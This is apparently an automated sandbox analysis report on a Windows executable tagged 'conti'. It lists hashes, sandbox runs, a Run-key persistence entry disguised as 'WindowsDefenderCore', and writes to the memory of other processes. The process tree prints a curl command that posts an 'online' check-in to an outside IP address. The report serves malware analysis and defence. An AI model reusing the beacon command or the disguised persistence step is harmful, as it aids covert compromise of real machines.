Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
05/05/2026, 23:17
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe
Resource
win10v2004-20260130-en
2 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe
Resource
win11-20260130-en
2 signatures
150 seconds
General
- Target 2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe
- Size 716KB
- Sample260505-297hlsgt21
- SHA256 1a3e48943f75a64c6a7087c488d91ba4a0fbbfb747dae22b2df8c70301916a7e
- MD5 5135fc6dfaca0749b57feab897480ad1
- SHA1 168e26a79cccf0a1b5ee511d08f78c83ab41962d
- SHA512 f568391309757688157744ffbd1b54e2d35b10794498c6b1700e4e65956d720e555e1d003017eba4bba391336f0e41c08e38f09979d01db3e456e7ab5ac38bbf
- SSDEEP 12288:1pRqOPtJxEYQRED0TwG171FfeSHwQFUO0jxBQo2X:xBPtJ2N0Y4O0jxBQo2X
- TLSH T1AFF4178336DB1CFAEE932B3854DB533A6735FE708B6A8B6B4518D2311C135C1AD1AB50
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderCore = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe" 2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe Set value (str) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderCore = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe" 2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1168 wrote to memory of 5036 1168 2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe 79 PID 2096 wrote to memory of 3172 2096 2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe 83
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1168 -
C:\Windows\SYSTEM32\curl.execurl -s -X POST -H "Content-Type: application/json" -d "{"cmd":"online"}" http://78.17.59.138:5000/send2⤵PID:5036
-
-
C:\Users\Admin\AppData\Local\Temp\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exeC:\Users\Admin\AppData\Local\Temp\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\curl.execurl -s -X POST -H "Content-Type: application/json" -d "{"cmd":"online"}" http://78.17.59.138:5000/send2⤵PID:3172
-